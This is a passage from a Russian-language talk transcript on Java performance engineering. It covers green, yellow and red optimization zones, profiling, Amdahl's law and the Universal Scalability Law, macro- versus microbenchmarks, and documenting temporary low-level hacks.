              В точке «B» проект достигает некоторого субъективного пика «красоты», когда у нас вроде и перформанс хороший, и в продукте всё неплохо.

              Далее, если разработчикам хочется ещё производительности, они переходят в жёлтую зону, когда берут более точный профайлер, пишут хорошие рабочие нагрузки и аккуратненько закручивают гайки. В этом процессе они там делают вещи, которые они бы не делали, если бы не производительность.

              Если хочется ещё дальше, то проект приходит в некоторую красную зону, когда разработчики начинают корежить свой продукт, чтобы получить последние проценты производительности. Что делать в этой зоне — не очень понятно. Есть рецепт, по крайней мере, для этой конференции — идёте на JPoint/JokerConf/JBreak и пытаете разработчиков продуктов, как писать код, повторяющий кривизну нижних слоёв. Потому что, как правило, в красной зоне возникают штуки, которые повторяют проблемы, возникающие на нижних слоях.

              Остальная часть доклада подробно рассказывает про то, что обычно происходит в этих зонах.

              Зелёная зона


              Мотивационная карточка зелёной зоны — это борьба с заусенцами в коде грубой силой:



              Грубая сила означает, что не надо точных инструментов — просто берём и делаем. В зелёной зоне есть некоторые ментальные ловушки.

              Моя любимая звучит так: «Профилировать нормально или никак»:



              Я постоянно слышу: «Послушайте доклады Шипилёва, он вам скажет, что профилировать нужно нормально или никак». Я ни разу этого не говорил. Когда вы в зелёной зоне, точность диагностики влияет очень мало. И, вообще говоря, профилировка вам нужна, чтобы понять, какую часть из того «микросервисного монолита», который вы умудрились написать, вам нужно переписать в первую очередь.

              Профилирование и диагностика


              Если вы посмотрите на блоги разных классных перформансных чуваков, например, Брендана Грегга, он будет показывать такие страшные диаграммы, говорить, что вот такими инструментами можно посмотреть туда-сюда:



              Многие говорят, когда смотрят на эти диаграммы: «Перформанс — это очень сложно, и мы не будем этим заниматься». Хотя на самом деле мысль Брендана не об этом. Она о том, что существуют достаточно простые способы быстро оценить, что в приложении происходит. Когда у нас есть хотя бы крупноклеточное понимание, нам гораздо лучше.

              Поэтому диагностика в зелёной зоне опирается на очень простую мысль: мы не должны бояться смотреть на наше приложение. Даже крупноклеточное понимание, чего нам из ресурсов не хватает в нашем стеке, уже даст нам некоторую идею о том, на что стоит обращать внимание, а на что — нет. Даже если какую-нибудь полносистемную профилировку сделать, уже будет примерно понятно, где у вас bottleneck.



              Профилирование


              Наша цель в зелёной зоне — примерно понять, где мы проводим время.



              Даже наивный профайлер, который вы можете собрать из палок и желудей, даст вам достаточно информации, чтобы совершать осознанные действия в зелёной зоне.

              Если у вас есть продакшн, на который злые админы не дают устанавливать профайлер, можно просто через ssh взять jstack и сделать «while true; do jstack; sleep 1; done». Собрать тысячу этих jstack, агрегировать их. Это и будет «наколеночный» профайлер, который уже даст достаточно понимания, что в вашем продукте плохо.

              Даже если вы руками расставите stopwatch-и в продукте и оцените, что в этой части продукта вы проводите 80% времени, а в этой — 20%, — это уже будет лучше, чем просто гадать на кофейной гуще о том, что будет, если мы в случайно попавшемся классе, написанном Васей в 2005 году, что-то поправим.

              Измерение производительности


              Следующая ментальная ловушка, связанная с профилированием, говорит, что производительность нужно измерять или нормально, или вообще никак.



              Я про это постоянно слышу. Но в зелёной зоне улучшения «плюс-минус километр» обычно можно и глазками увидеть. Обычно это говорят в контексте «у вас плохой бенчмарк, он ничего не показывает, потому что он написан плохо, а нужно правильно мерить производительность», а в то же время у вас там грабля, которую видно практически на любом ворклоаде.

              Мораль


              Мораль очень простая: в зелёной зоне даже тривиальные нагрузочные тесты покажут вам крупные огрехи.



              Я видел случаи, когда люди тратят недели на то, чтобы написать нагрузочные тесты на JMeter, вместо того, чтобы положить публичную ссылку в какой-нибудь Twitter и получить кучу народа, который придёт на бета-тестирование и повалит ваше приложение (а вам останется только сидеть с профайлером и смотреть, где же там упало). Даже обычный Apache Bench достаточно хорошо показывает крупные огрехи.

              Чем раньше вы в разработке получите эти перформансные данные о крупных огрехах, тем быстрее вы сможете их исправить. Это вам тем более поможет планировать работы по производительности.

              Пример-сюрприз


              Я как-то недавно взял JDK 9 Early Access и подумал: надо бы попробовать построить мои проекты с ним, вдруг там что-то поменялось!



              Я строю, а у меня время компиляции подрастает с 2 минут до 8. Внезапно. Нужно ли мне в такой ситуации писать какой-то аккуратный бенчмарк на это, доказывать, что это действительно регрессия?



              Конечно, нет. У меня в билде есть конкретный баг, он воспроизводим. В профайлере можно обнаружить, что там есть call stack, который ведет в известное место в javac. В этом javac находишь исходный код, и там обнаруживается квадратичный цикл.

              Нужно ли доказывать, что это проблема, когда у вас есть: а) ворклоад, на котором плохо; б) когда у вас есть профиль, который показывает туда, и в) теоретические размышления, что квадратичный цикл — это плохо? Нет, этого достаточно.

              Оптимизация


              Ещё одна ментальная ловушка: «Преждевременная оптимизация — корень всего зла».



              Кнут, конечно, ещё жив и здравствует. Но я не знаю, насколько ему икается каждый раз, когда кто-то вспоминает эту фразу, потому что её обычно вспоминают неправильно. Кнут говорил о том, что преждевременная оптимизация — корень всего зла в 99,7% случаев, потому что люди не понимают, где им нужно оптимизировать. Когда вы в зелёной зоне, вам всё равно. Вы всё равно переписываете ваш прекрасный код. Профилировка вам нужна для того, чтобы определить, что переписывать в первую очередь.

              Какие заходы там есть?

              Как правило, улучшение производительности там в основном от переписывания «плохого» кода на «хороший». Но «плохой» и «хороший» — в какой-то степени субъективная вкусовщина. Спроси нескольких программистов: один скажет, что надо вот так, так красиво; а другой скажет: «Что ты тут понаписал!». Всё это, конечно, может быть вкусовщиной, но может быть и выстраданными приемами, в том числе выстраданными вами или Джошуа Блохом, который написал книжку «Effective Java».



              Например, эффективные структуры данных. Я знаю проекты, в которых глобальный s/LinkedList/ArrayList/g улучшил производительность без всяких раздумий над. Есть случаи, когда LinkedList быстрее, но эти случаи очень специальные, и их обычно видно невооруженным взглядом.

              Можно внезапно обнаружить, что у вас линейный поиск по ArrayList в месте, где можно использовать HashMap. Или у вас итерация по паре keySet и get, который можно поменять на entrySet, или навелосипедили свой bubbleSort и вдруг внезапно оказалось, что туда приходят коллекции по миллиону элементов, и вы там проводите кучу времени, и так далее.

              Подитог зелёной зоны




              Профилирование — необходимая часть ежедневной разработки.

              По-моим наблюдениям, 95% перформансных проблем решается на первых же заходах профилировки. Вне зависимости от того, какой сложности проект, какие бы опытные люди его ни разрабатывали, когда ты показываешь людям первую профилировку их проекта, у них возникает гамма эмоций, в частности, «какие же мы идиоты». Потому что более 90% этих проблем тривиально разрешимы и по идее должны были быть пойманы ещё до коммита.

              Если вы — техлид, архитектор, технический директор или занимаете какую-то другую руководящую техническую должность и хотите производительности, то, пожалуйста, сделайте так, чтобы в проекте были четкие инструкции по запуску профилировщиков. Если у вас есть однострочник, или однокнопочник, или у вас есть веб-приложение, у которого есть APM, — то очень хорошо! У девелопера всегда должен быть способ быстро это сделать.

              По моему опыту, если вы возьмёте девелопера за руку, каким бы «senior» он ни был, сядете с ними и один раз попрофилируете ваш продукт, это уверенно купирует у него боязнь перформансной работы. У многих людей в голове есть такой блочок о том, что производительность — это сложно, что там есть всякие взаимосвязи между компонентами и прочее. И они не профилируют вообще, потому что сложно — значит, пока не надо. Но когда один раз садишься и проделываешь это с ними, у них снимается этот блок, они начинают профилировать самостоятельно. И те 90% ошибок, которые они могут разрешить до того, как к ним кто-нибудь придет, будет показывать профиль и стыдить их, они исправят заранее.

              Причем «возьмите девелопера за руку» — это не значит, что вы загоняете их на конференцию, сажаете их в зал на 1000 человек, выходит докладчик и начинает там в профайлере что-то с умным видом возить. Так не работает. Работает по-другому: вы садитесь с конкретным девелопером на вашем проекте и делаете это на пару.

              Жёлтая зона


              Жёлтая зона — это усложнение кода в обмен на производительность, когда вы делаете вещи, которые вы бы не делали, если бы вам не хотелось больше производительности.



              Ментальные ловушки там тоже есть.

              Профилирование и диагностика


              Первая ментальная ловушка: «Сейчас мы возьмем профайлер, посмотрим, что где, и как начнем оптимизировать».



              Оказывается, в жёлтой зоне цена ошибки возросла: вы теперь производительность получаете, а что-то взамен этого теряете — поддерживаемость, сон разработчиков и так далее. Поэтому вам нужно вносить правильные изменения, которые требуют продвинутой диагностики, и профилировка — это только одна из частей диагностики. Ещё есть бенчмаркинг и прочее.

              Обычно, когда люди впиливаются в жёлтую зону и начинают думать, что же оптимизировать, они открывают профайлер и видят это:



              И что мы здесь будем оптимизировать? Перепишем на java.nio или скажем, что самый горячий метод — это java.lang.Object.wait, значит, надо разгонять его. Или там Unsafe.park, значит, нужно разгонять его… или SocketInputStream.socketRead0, или socketAccept — значит, нужно срочно переписывать всё на Netty, потому что сеть же видно. Правда, вся эта фигня из JMX, но об этом мы узнаем потом, через 3 месяца разработки. Или там Object.hashCode — скажем, что плохой HotSpot его не оптимизировал, а «вы нам обещали, что всё будет быстро и хорошо, а наш продукт не виноват».

              Modus operandi в жёлтой зоне простой: оптимизируя, вы теперь должны будете объяснять, зачем вы это делаете. Может себе, а может и вашему project manager-у.

              При этом желательно иметь иметь на руках:

              • численные оценки прироста,
              • и желательно иметь их до того, как вы потратили все ресурсы. А не тогда, когда три месяца разработки прошло, и вы сказали: «Ой, вы знаете, задача заняла три месяца, классно».
              • Надо иметь понимание, что это самый дешёвый способ, и что этот способ — тот самый, который даст вам улучшение общей производительности.

              Закон Амдала


              Когда людям задаешь задачи на оценку производительности, неискушенные начинают жутко фейлить, потому что людям очень сложно в голове уложить нелинейные зависимости. Одна из таких нелинейных зависимостей — закон Амдала, и к нему приходят обычно следующим образом.

              Предположим, у нас есть приложение. У него есть две независимые части: А и В. И мы, например, знаем, что часть А занимает 70% времени и разгоняется в 2 раза, а часть В занимает 30% времени и разгоняется в 6 раз. Можно разогнать только одну из них — ресурсов хватает только на это. Какую из этих систем мы будем разгонять? Если мы даже просто графически их уменьшим, видно:



              Часть А работает на 70% общего времени. Лучше оптимизировать часть А, несмотря на то, что мы разгоняем её всего в 2 раза. Влияние на общий перформанс больше.

              А если бы я был отдельно стоящим программистом, я бы, наверное, разгонял часть В в 6 раз. В моём недельном отчете эта цифра будет выглядеть гораздо лучше: «Вася разогнал в два раза, а я разогнал в шесть раз, поэтому мне нужно в три раза повысить зарплату».

              Закон Амдала выводится следующим образом:



              Если у нас есть speedup S, то он по определению — общее время A плюс B, деленное на новое время. Часть B там осталась той же самой, поэтому там «плюс B», а часть А уменьшилась в SA раз. Если мы введем два обозначения: PartA и PartB, которые показывают относительное время частей A и B в этом приложении, то придём к такому выражению:


              У этого соотношения есть забавные свойства. Например, если вы SA устремите в бесконечность, то предел S:


              Это не очевидная штука, её нужно несколько раз почувствовать на своей шкуре, чтобы понять. Вам будут показывать через такие вот графики:


              … и говорить: если у вас есть приложение, в котором 80% занимает та часть, которая разгоняется, то разгоните её хоть до опупения, но speedup больше, чем в 5 раз, вы не получите.

              Это означает, что если к вам приходит вендор базы данных и говорит: мы знаем, что в вашем ворклоаде 50% занимает база данных. Мы вам гарантируем, если вы поменяете ваш текущий солюшн на наш, не изменяя ни строчки кода, то ваш перформанс вырастет в 10 раз. Что вы должны ему на это сказать? (из аудитории) Bull shit!

              Едем дальше: есть обобщение закона Амдала. Если мы немножко перевернем эти члены и введем два новых обозначения: p — это speedup A — это то, во сколько мы разогнали конкретную часть А, а альфа — это сколько всего остального есть, то этот закон можно записать вот в такой форме:



              Штука в том, что у этих членов появляется некоторый физический смысл. Первый член обычно называется concurrency. Если мы пока проигнорируем второй член — contention — выражение будет означать: во сколько раз мы ускорили часть A, во столько же у нас получился общий speedup. Contention описывает влияние на производительность всего остального, обеспечивающего эту самую асимптоту в законе Амдала. Кстати, если графики этой функции начертить, получатся те же самые кривые, как в законе Амдала:



              Однако, как правило, в большинстве приложений закон Амдала в такой форме не действует. Действует более сложный закон, когда туда добавляется ещё один член, который называется coherence, описывающий взаимодействие между компонентами.



              Оказывается, если альфа и бета неотрицательные, то у вас нет асимптоты насыщения. У вас есть какой-то пик эффективности, а после этого производительность начинает падать. Многие люди, которые занимаются перформансом, на своей шкуре чувствовали этот закон, пока его не сформулировали как Universal Scalability Law (USL):



              Понятия «universal» и «law» здесь использованы в естественно-научном смысле, то есть у него есть как бы теоретическое обоснование, но он не выведен аналитически. Он выведен как закон, который хорошо натягивается на эмпирические данные.

              Систем с альфа и бета, равными нулю, не существует, потому есть много случаев, когда вы добавляете ресурсы в систему или что-то оптимизируете, и становится хуже. Например, вы сняли один bottleneck, но уперлись в другой, более тяжелый.

              Измерение производительности


              Ментальная ловушка с измерением производительности говорит: «Поскольку там всё сложно, а мы не знаем, как всё повлияет на производительность, мы просто находим что-то и смотрим, что нам скажут бенчмарки».



              На самом деле перформансное тестирование — дико дорогое, и всё особенно не протестируешь. Перформансные тесты от функциональных отличаются тем, что функциональные (например, юнит-тесты) проходят за 100 миллисекунд или меньше, даже если они пачкой исполняются. С перформансными тестами не всё так гладко. Там тесты проходят от минуты и выше, могут проходить часами. Это означает, что одно изменение может быть протестировано за сотни машинных часов. Если вы делаете кучу коммитов в день, то вам требуется очень большой парк оборудования, чтобы вообще хоть как-то обеспечить проход через тестовую систему.

              Перформансные тесты требуют изоляции, иначе они начинают говорить всякую ересь, потому что начинают взаимодействовать друг с другом.

              Перформансные тесты, как правило, дают небинарные метрики. Функциональные тесты обычно говорят «PASS» или «FAIL» — бинарные метрики, а перформансные тесты говорят… «67». Хуже того: они говорят не «67», а «67 плюс минус 5». Это кроме всего прочего означает, что ошибки тестирования находятся только после разбора данных, когда вы понимаете, что у вас везде очень всё красиво, а вот здесь, в тёмном углу — данные, которые показывают, что эксперимент был палёный. Это означает, что все остальные данные тоже нужно выбросить и снова потратить сотни машинных часов на новый цикл.

              И самое плохое, что бенчмарки вам дают данные-числа, а хочется-то вам результатов — какого-нибудь знания, которое можно достать из этих чисел. И если получение данных хорошо автоматизируется, то часть про извлечение смысла из этих данных, как правило, автоматизируется плохо, поскольку она требует человеческого понимания, что там и как может происходить.

              Вывод — в активном проекте практически невозможно протестировать всё. Это означает, что у вас всё равно должны быть в голове некоторые оценки и умение разбираться, куда же копать, не прогоняя все бенчмарки на каждый чих.

              Классификация бенчмарков


              Многие люди делят бенчмарки на два больших класса: на макробенчмарки и микробенчмарки.



              В макробенчмарках, как следует из приставки «макро», мы берём наш большой сайт, приложение или библиотеку целиком, пишем end-to-end тесты и смотрим, сколько же потребовалось времени одному виртуальному юзеру, чтобы купить наши бесконечно ценные товары в интернет-магазине. Нормальный тест.

              Микробенчмарки — это маленькие рабочие нагрузки, когда мы берём маленькую часть нашего сайта или библиотеки, делаем маленький изолированный тест и замеряем конкретную часть.

              Голоса в голове у разработчика обычно шепчут ему, что макробенчмарк отражает реальный мир, а микробенчмарки — зло.

              Смотрите: реальный мир — большой, и макробенчмарк — большой. (заговорщицки) Стало быть, макробенчмарк отражает реальный мир. Поэтому некоторым кажется, что любой макробенчмарк — хороший. Дескать, запустил макробенчмарк — это real world и есть. Это означает, что для любой крутой фичи макробенчмарк даст крутое улучшение, потому что он же «real world». А если макробенчмарк не показывает улучшения, то эта фича плохая. И что для любого крутого бага макробенчмарк даст крутую регрессию, а если нет регрессии, то и бага нет. Это же «real-world», значит, то, что происходит в реальном мире, должно быть и в макробенчмарке.

              С микробенчмарками — обратная ситуация. Голоса в голове разработчика подсказывают, что они зло, поэтому их можно игнорировать. Они говорят тебе, что показания микробенчмарка не важны, потому что его можно писать каким угодно, а, значит, регрессия или улучшение на нём ничего не значат. А когда они сталкиваются с реальным миром, приходит мысль, что микробенчмарки пишут враги, чтобы опорочить их продукт. Потому что написать их просто, можно написать какой угодно, значит, можно написать микробенчмарк, благодаря которому мы потом в white paper-е напишем, что наш продукт стал лучше, т.к. на таком ворклоаде он работает лучше.

              Жизненный цикл бенчмарков


              Если отбросить этот маркетинговый bull shit про микробенчмарки, окажется, что жизненный цикл все бенчмарки проходят примерно одинаково.


              Если у вас есть большой бенчмарк — гигабайты кода, в которых дофига библиотек, кода и т.п., обычно он начинается с «невинной» стадии, когда он действительно тестирует многие части вашего продукта, ходит через многие слои и так далее. Допустим, они там занимают примерно одинаковое время. Но потом приходят злые девелоперы и начинают оптимизировать.


              Мы начали с макробенчмарка, который покрывает многие части приложения, но в конце жизненного цикла его производительность утыкается в один большой bottleneck, который нам очень сложно разрешить. И это практически случай микробенчмарка, когда у нас есть изолированный тест, который тестирует одну вещь. Такой выродившийся макробенчмарк тоже тестирует только одну вещь.

              Но всё же в этом есть некоторые плюсы. Неочевидный плюс следует из закона Амдала.


              Возьмем приложение с двумя частями — красной и зелёной, которая оптимизируется. Даже если мы оптимизируем зелёную часть до 0, мы всё равно получим speedup всего лишь в два раза. Но если красная часть будет регрессировать (если мы, допустим, в 2 раза её регрессируем), окажется, что закон Амдала, у которого есть асимптота, превратится в линейную зависимость.


              Иными словами, если мы регрессировали маленькую часть в тысячу раз, итоговая метрика тоже в существенное количество раз уменьшится.

              Можно на графике это показать следующим образом:



              По оси абсцисс у нас speedup конкретной части, а по оси ординат — speedup продукта целиком. В части, где у нас что-то улучшается, у нас есть асимптоты из закона Амдала, а там, где всё ухудшается, у нас практически линейная зависимость.

              Проблема с тестированием стоит ещё в том, что эмпирическое перформансное тестирование — шумное. В экспериментах есть систематические и случайные ошибки.



              Часто чувствительность теста вам просто может не показать улучшение от конкретного изменения. Если что-то улучшилось в 50 раз, то улучшение в общей системе будет ниже порога чувствительности теста, а если это же регрессировало в 50 раз, будет гораздо лучше видно. Это, кстати, ответ на вопрос, почему, когда вы занимаетесь производительностью, большая часть вещей, которые вы видите в своих автоматических репортах, — это регрессия. Потому что, как правило, тестирование более чувствительно к регрессии, а не к улучшению.

              По моим наблюдениям:
              Макробенчмарки:

              • их мало, они написаны непонятно кем и непонятно как;
              • сначала показывают интересные результаты, а потом вырождаются в микробенчмарки;
              • в конце жизни всё равно применимы для регрессионного тестирования.

              Т.е. сделать перформансное улучшение на макробенчмарках — это душераздирающая история.

              Микробенчмарки:

              • их тоже много, они тоже написаны непонятно как и непонятно кем, но зато они настолько маленькие, что их можно одним разумом охватить и исправить: понять, что там неправильно, и как-нибудь их модифицировать;
              • на всех этапах жизненного цикла они показывают интересные результаты;
              • хорошо реагируют и на регрессию, и на улучшение.

              Поэтому если мы, к примеру, делаем перформансную оптимизацию, у нас всегда есть корпус микробенчмарков (очень чувствительных ворклоадов), на которых мы делаем изменения и выжимаем максимум. Только потом мы валидируем, что они не регрессировали и улучшили макробенчмарк.

              Как вы ни крутитесь, а учиться микробенчмаркать вам придется. Самая интересная мысль состоит в том, что метод «просто возьми какой-нибудь удачный фреймворк и перепиши все ворклоады на нем» не работает, потому что недостаточно просто написать код бенчмарка и получить цифры. Чтобы понять, что происходит, нужно в эти цифры вглядеться, может быть, построить побочные эксперименты, грамотно их провести и проанализировать данные, а потом сделать выводы и построить так называемую перформансную модель — понять, как же ваше приложение или ваш стек реагирует на изменения в коде, конфигурации и так далее. Это вам даст возможность предсказать, что же будет происходить в будущем.

              Оптимизация


              Обычно, правда, происходит не так. Обычно люди падают в следующую ментальную ловушку:



              «Мы попробовали, и оно улучшило метрики — стало не 100 операций в секунду, a 110. Наверное, потому что…» и дальше следует ссылка на какой-нибудь доклад с JPoint. Я, дескать, был на конференции, и там умный чувак сказал, что можно наступить на такую-то граблю. В итоге мы переписали умножение на не умножение, и у нас случился branch prediction или что-нибудь в этом духе (тут, главное, по-наукообразнее, чтоб вернее).

              На самом деле часто бывает, что просто повезло с нагрузкой, с компонентом, с фазой луны. Чуть везение пропадёт, всё вернётся на круги своя. Как правило, по отношению к каждому улучшению нужно просматривать следующие варианты (если у меня есть улучшение, нужно понять, к чему оно относится):

              1. Это косяк в моём коде, например, алгоритмическая проблема — квадратичный цикл или N^3, который я мог сделать за N log N. Если это косяк в моём коде, я просто делаю перманентное исправление, посыпаю голову пеплом, говорю, что я больше так никогда делать не буду, и всё идёт дальше своим чередом;
              2. Или это косяк в моём использовании библиотеки или рантайма, о котором я раньше не знал, или знал, но забыл, или знал, но думал, что оно не очень важно. Ну, тогда мы тоже перманентно его исправляем и отправляем PR во внешнюю или внутреннюю документацию о том, что так делать нельзя;
              3. Или это исправимый косяк в библиотеке или в рантайме. Тогда мы делаем временную заплатку в нашем продукте вокруг него, зарубаем себе на память, что это временная заплатка, чтобы её оттуда снести когда-нибудь;
              4. Или это неисправимый косяк библиотеки или рантайма, но смигрировать с этой библиотеки или рантайма нам очень дорого. Тогда мы делаем перманентную заплатку, вносим в наши анналы технических логов, что делать нужно только так.


              Если мы не классифицируем наши изменения по этим категориям, то может статься, что мы сделаем плохую временную заплатку против бага в нижнем слое, тот баг когда-нибудь исправится, и исправления в штатной библиотеке будут лучше, чем наша заплатка. Но мы уже будем платить за обслуживание заплатки, проваленный перформанс по сравнению с конкурентами, которые и не дёргались, и т.д.

              Опции JVM


              Ещё пример: что будет, если зная, что специальное в нашем приложении, мы подскажем JVM, в каком же режиме работать? Радости там очень простые: механическая симпатия, синергия и всё такое (мы знаем, как тюнить JVM).

              На практике, конечно, это происходит иначе. Ты идешь в Google и ищешь: «JVM tuning options». Тебе вываливается такая лыжа:


              Ты суешь её в свой конфиг, она действительно что-то улучшает, и ты рисуешь себе звёздочку «я умею тюнить JVM».

              Конечно, там есть проблемы. Может статься, что в целом этот блок вам улучшил производительность, но там есть опции, которые в том числе её регрессировали. Если бы вы понимали, что вы делаете, вы могли бы взять всё улучшение, а не только его часть.

              Параллелизм


              Не важно, что у нас там где написано, мы возьмём parallelStream(), Eexecutor.submit, new Thread, засабмиттим кучу параллельных задач. Нормальная же идея? Радость тут в том, что особенных изменений в коде обычно не надо, если он изначально написан с мыслью о том, что когда-нибудь он будет многониточным.

              Но там имеются те же проблемы: есть синхронизация, и непонятно, как она выстрелит на более широких тачках. Есть оверхеды — на мелких задачах вам не нужно параллелить, потому что у вас всё съестся на dispatching задач. Или если у вас есть staging, в котором у вас одинокий Вася тыкает в формочку, и там вам внутренний параллелизм помогает. Ну, например, там какой-нибудь запрос, и вы там внутри его сабмиттите в какой-нибудь мега-Hadoop, который вам параллельно делает MapReduce; и это всё работает быстрее, когда всё параллельно. А потом вы деплоите это в продакшн, и там внезапно оказывается, что у вас 10 000 пользователей, т.е. внутренний параллелизм вообще не нужен — у вас есть куча внешнего параллелизма, который уже и так эксплуатирует все ваши ресурсы.

              Структуры данных


              Ещё пример. Некоторые думают: «На конференциях мне рассказали, что вообще-то Integer и вообще обёртки над примитивами в Java — дорогая штука, поэтому мы возьмём и перепишем всё на массивы int и так далее».

              Конечно, «int-овка — это праздник» в том смысле, что ты берёшь, переписываешь и думаешь, что совершаешь полезные действия. Проблемы, однако, очень большие: ты не знаешь наперёд, сколько у тебя съестся на конверсиях на обертки, сколько у тебя это сожрет времени разработки (выработка всех угловых случаев, конверсия туда-обратно всех коллекций, написание вставок, удалений, тормошений), и ты наверняка пропустишь оптимизации самой JDK в коллекциях и в какой-нибудь Valhalla.

              Подитог для жёлтой зоны


              Modus operandi: в жёлтой зоне наша главная задача — это поддержание правдоподобной перформансной модели проекта, потому что она говорит нам о том, где же нужно поменять, чтобы было хорошо и мы об этом потом не пожалели. Это необходимое условие развития проекта.

              По моим наблюдениям более 50% потенциальных изменений делается не там, где стоит. И промахиваются они обычно по очень простой причине: команды разбиты по компонентам, и они могут быстро сделать изменения в своём компоненте, даже если «по чесноку» надо сделать багфикс в компоненте другой команды.

              Как правило, более 80% изменений делается в нужном месте после исследования (а 83% всех статистических данных, как правило, верны).

              Умение исследовать и обновлять свои знания о проекте целиком помогает принимать правильные решения. Если у вас команды разделены по компонентам, то имейте, пожалуйста, людей, которые смогут смотреть на этот проект со стороны, которые будут понимать, как компоненты друг с другом связаны и какие изменения делать. Обычно эту роль выполняет архитектор. Но архитекторы, как правило, перегружены, поэтому они нанимают перформансников, которые помогают кормить их данными о том, что происходит в проекте. Таким образом, можно помогать архитектору в голове обновлять эту самую перформансную модель.

              Красная зона


              Мотивация в красной зоне: когда мы выбрали все разумные способы улучшить производительность, остались неразумные способы. Неразумные способы — это эксплуатация кривизны нижних слоев, грязные хаки, залезания в кишки. Как правило, в абсолютном большинстве проектов туда ходить не надо.


              Грамотное техническое руководство, вменяемый техлид, проджект-менеджер или, в конце концов, заботливая мама должны вам сказать: «Туда ходить не надо»!



              Основная идея в красной зоне простая — мы хотим улучшить производительность за счет эксплуатации особенностей реализации в нижних слоях.



              Например:

              • мы обнаруживаем, что в библиотеке, которая нам очень нравится, есть скрытый приватный метод, который делает что-то быстрее. Типичный хак: мы возьмем этот метод через reflection и дернем;
              • или мы почитаем ход библиотеки и узнаем, что если мы дернем публичные методы в некотором особом порядке (я такое называю API-акупунктурой), то мы переведем этот объект в некоторое, более приемлемое для нас состояние — возможно, будет работать быстрее;
              • или мы возьмем и просто захачим целые куски приватного API;
              • или мы начнём эксплуатировать особенности конкретных железок, на которых мы исполняемся, конкретного JDK, который мы таргетим — т.е. заниматься низкоуровневыми оптимизациями.


              Профилирование и диагностика



              Обычно всё оказываются в этой зоне случайно. Когда все возможные варианты выбраны, они говорят себе: «Ну ладно, будем думать, что же делать дальше». И им кажется, что если долго смотреть в профиль, то там можно увидеть решение. Им понятно, что решение будет сложным, значит, нужно долго смотреть.



              На самом деле, умение хакать в красной зоне вырастает из понимания взаимодействия движущихся деталей. И вот в этом месте появляются перформансники — это люди, которые всем остальным особенно не занимаются, но умеют копаться во всех слоях сразу. Они — ходячая энциклопедия, у них в голове набор хаков, которые работают в таких-то условиях. Они знают границы их применимости. Самое главное, что это люди, которые не впадают в ступор, когда видят незнакомую хрень, а начинают её изучать.

              Если они видят профиль, из которого ничего не ясно, они говорят: «Ну и ладно, отбросим этот профиль, давайте делать эксперименты, которые нам принесут какие-то новые данные». Здесь работает систематический индуктивный способ набора данных. Изучать для них — это не означает нафигачить кусок кода, запостить его на StackOverflow и спрашивать: «У нас тут такая перформансная проблема, что бы это могло быть?» И ждать, пока к ним придут какие-нибудь люди, типа Джона Скита, и будут рассказывать, как и что там нужно сделать. Изучать — значит читать документацию, искать упоминания в статьях, делать эксперименты, выуживать знания из коллег, каким-нибудь образом их систематизировать и так далее. Многие люди приезжают на конференции для этого.

              Трюки с конференций


              Есть ещё одна ментальная ловушка: «Если долго ездить по конференциям, когда-нибудь на какой-нибудь конференции расскажут трюк, который в нашем проекте даст улучшение в пять раз, и мы тогда отобьем весь бюджет, потраченный на билеты».



              На самом деле в конкретном случае спасает один низкоуровневый трюк из тысячи. Его проще найти самостоятельно, чем ждать у моря погоды. Самое забавное, что я вижу в программистской тусовке, так это то, что большая часть обсуждений производительности — она о низкоуровневых хаках:



              Как правило, все эти штуки происходят в условиях, когда у программистов в проектах есть простые алгоритмические преобразования, которые многократно могут улучшить производительность. Но поскольку им на конференциях рассказывали, что умный HotSpot как-нибудь компилирует, поэтому нужно свой проект модифицировать, чтобы он хорошо скомпилировался HotSpot-ом, они упускают главное — что на самом деле у них есть изменения, которые они могут найти сами (и сделать это быстро), и это улучшит производительность.

              Костыли


              Если мы в красной зоне и находим такого рода низкоуровневую разницу, которая на самом деле в большинстве случаев является разницей в реализации оптимизаторов (многие из упомянутых выше случаев на самом деле должны работать одинаково), мы можем захачить. Но хаки должны быть временными заплатками, а не основой нашего проекта.



              Как правило, они указывают на проблемы в слое ниже, поскольку слой ниже на самом деле должен предоставить более вменяемую перформансную модель, в которой любой вариант заработает лучше. Если вы будете слушать доклад, в котором вам будут рассказывать про разную низкоуровневую дичь, пожалуйста, не воспринимайте его как руководство к немедленному действию. Этот доклад помогает вам наработать корпус возможных хаков, которые, может быть, когда-нибудь понадобятся, если сильно припрет.

              Пример


              Есть очень простой пример, который недавно был найден в JDK 9.



              Eсть в Java тип ArrayList, у него есть итератор, который реализуется через inner class Itr. У этого класса Itr, поскольку он приватный, есть синтетический так называемый bridge-метод (публичный), чтобы можно было конструктор Itr вызвать. Проблема в том, что если мы зовем Itr, Hotspot-овский инлайнер ломается, поскольку он видит в сигнатуре этого метода классы, которые ещё не загружены.

              Где эта ошибка (недооптимизация)? Это ошибка в коде ArrayList-а? Скорее, нет. Это ошибка в коде javac? Скорее, да. Это недооптимизация в коде hotspot-а? Скорее, да. Но проще захачить его прямо в ArrayList, пока компиляторщики не придут в себя и не поймут, как это исправить в компиляторе.



              Поэтому там делается такой конструктор без аргументов, там записывается ссылка на баг, почему этот конструктор сделан и т.д.

              Подходы к исправлениям


              Когда ты долго копаешься в красной зоне, к тебе обычно приходят люди и говорят: «Давайте быстро захачим, и всё будет зашибись». Ментальная ловушка очень простая: они действительно думают, если мы быстро покрутим каким-нибудь хаком, будет здорово.



              Практика показывает, что в красной зоне «зашибись» не будет никогда.
              В качестве примера (я его вижу постоянно):


              Мы обнаружили перформансную проблему в JDK. Вместо того, чтобы её исправить в JDK, мы сказали: «Ну нет. Мы через Unsafe хакнем». А потом оказывается, что Unsafe ушёл, и даже setAccessible() не работает. Поэтому не обманывайте себя. Работая в красной зоне, вы вносите технический долг.


              Всегда документируйте, для чего хак выполнен, при каких условиях применим, как проверить, что он больше не нужен, какие upstream-баги вы ждёте и так далее.

              Меня на уроках ОБЖ в школе учили накладывать жгут. Я до сих пор вспоминаю эту инструкцию, что ты накладываешь этот жгут выше или ниже раны, в зависимости от того, какого цвета кровь хлещет. Но вспоминаю я из-за отдельного пункта инструкции: после того, как ты жгут наложил на тело своего товарища, ты должен записочку туда вложить, с таймстампом.

              Каждый раз, когда я делаю такой хак в нашим коде, у меня в голове именно эта история: я накладываю жгут на больное место в своём коде и должен там написать, что это сделано тогда-то по такой-то причине, потому что есть такой-то баг, и этот жгут можно удалить, только если такие-то условия выполнены. Это дает возможность мне или другим моим коллегам, когда они обнаружили этот код, понять, стоит ли сразу это отпиливать, или, если ты снимешь жгут, это убьёт весь остальной проект (или вашего боевого товарища).

              Подитог в красной зоне


